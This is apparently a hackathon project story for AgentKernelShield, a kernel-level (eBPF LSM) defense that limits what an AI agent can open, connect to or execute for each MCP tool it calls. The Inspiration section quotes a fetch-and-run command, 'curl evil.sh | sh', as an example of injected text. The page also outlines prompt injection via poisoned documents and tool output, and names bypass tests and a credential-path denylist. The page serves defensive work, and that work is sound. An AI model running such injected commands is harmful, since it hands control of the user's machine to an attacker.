AgentKernelShield — Project Story

Inspiration

AI agents read untrusted text all day: poisoned docs, malicious web pages, hostile tool output. One injected sentence — curl evil.sh | sh — and an agent with shell access becomes someone else's computer. Existing defenses didn't satisfy us: asking an LLM to police an LLM is probabilistic, app-level allowlists live inside the process the attacker already influences, static sandboxes apply one policy to the whole run, and MCP tool annotations (readOnlyHint, openWorldHint) are advisory vocabulary with zero enforcement. We wanted the annotations to mean something — enforced where the attacker can't reach: the Linux kernel.

What it does

AgentKernelShield ties an AI agent's identity (its cgroup) to kernel-level enforcement (BPF LSM programs), and switches the active policy every time the agent calls a different MCP tool. A read-only tool physically cannot write or connect out; the kernel returns EPERM before the syscall completes. A live terminal UI shows the agent working — task timeline, per-tool process cards, every allow and block with its reason — plus a scripted replay mode so anyone can watch a poisoned-document attack get stopped without owning a BPF-capable machine.

How we built it

Three layers. In the kernel, C eBPF programs on LSM hooks (file_open, socket_connect, bprm_check_security) check exact-match denylists and emit ring-buffer events; BPF process-lineage tracking follows forks so node, sh, and python3 children are attributed to the right agent. In userspace, a Go daemon (loader, detector, profiles, audit) compiles human-written YAML policy into maps, evaluates events, and streams JSONL plus SSE. A Python middleware wraps each MCP tool call with enter_tool/exit_tool over a Unix socket — in a finally, so crashes still revert to baseline. Policy switching, IPv6 handling, fail-closed pinning, and an e2e bypass suite (shebang, symlink, execveat, fork-storm) were built as phased slices, each with unit tests green before moving on.

Challenges we ran into

  • The 10-minute hang. Denylist glob expansion (/**/.aws/**) walked entire filesystems, following symlinks into /proc loops. The first fix (a library skip callback) was provably incapable — its callback only fires for matches. The real fix: a real directory walk with true pruning, no symlink descent, and memoization.
  • Fail-closed is a discipline, not a flag. Every return 0 in kernel code had to justify itself; ring-buffer-full, path-resolution failure, and daemon death each needed an explicit deny-and-count path.
  • No enforcement without proof. We banned ourselves from claiming anything the VM hadn't demonstrated, which meant writing honest EXPECTED-FAIL marks and refusing to paste noisy benchmark numbers.
  • Two sessions, one tree. Parallel work collided mid-task (rewritten functions, shifted line numbers). Evidence-first verification — reread, don't assume — caught every collision.

Accomplishments that we're proud of

  • A strict MatchCommand exec policy that closed a spoofing hole (attacker-planted same-name binaries) instead of papering over it.
  • Failure honesty as a feature: the tree marks exactly what is proven (7/7 unit suites, 5/5 middleware tests) and what is pending (VM gates), with nothing in between.
  • A judge-ready demo: replay mode, Linear Dark UI, one-command local run.
  • Open-source hygiene: granular history (one part per commit), SECURITY.md, threat model, honest rollback docs.

What we learned

  • Glob semantics differ between matching (cheap) and expansion (a full filesystem walk) — the map from one to the other is where the bugs live.
  • Library callbacks that "support skipping" may only fire for matches; read the source, not the docstring.
  • Tests that pass vacuously are worse than no tests: our first skip-logic tests couldn't fail. Mutation thinking (would this test catch the bug deliberately reintroduced?) is now our bar.
  • Small, cited, checkable claims beat grand architecture statements.

What's next for AgentKernelShield

  • VM proof: e2e, bypass, soak, and sub-5% benchmark numbers on a quiet host.
  • Link pinning so kill -9 stops being fail-open.
  • A real aks run launcher (cgroup identity) replacing the current PID-lineage bootstrap.
  • Fuzzing the YAML parser and socket protocol, a second-kernel compat matrix, and signed releases with SBOMs.

Built With

Share this project:

Updates

Submission history